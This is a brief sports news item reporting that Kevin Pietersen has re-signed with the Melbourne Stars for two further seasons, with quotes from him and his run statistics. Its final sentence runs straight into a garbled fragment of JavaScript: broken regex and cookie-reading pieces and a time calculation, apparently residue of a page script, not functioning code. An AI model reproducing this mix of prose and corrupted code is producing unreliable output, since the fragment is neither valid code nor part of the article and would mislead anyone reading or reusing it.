Former English superstar Kevin Pietersen has re-signed with the Mlebourne Stars for a further two seasons, keeping him at the franchise until at least the end of BBL07.

“I’m delighted to extend my contract with the Stars and looking forward to kicking off with a huge finals series this weekend," Pietersen said.

“I really enjoy being around the Club, I’ve developed great relationships with the boys and I’m excited about what the next couple of seasons will bring with the playing and coaching group we have together.”

Pietersen has scored 187 runs this season and was the club's leading run scorer last season, sharing the Stars' Player of the Year Award with John Hastings. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
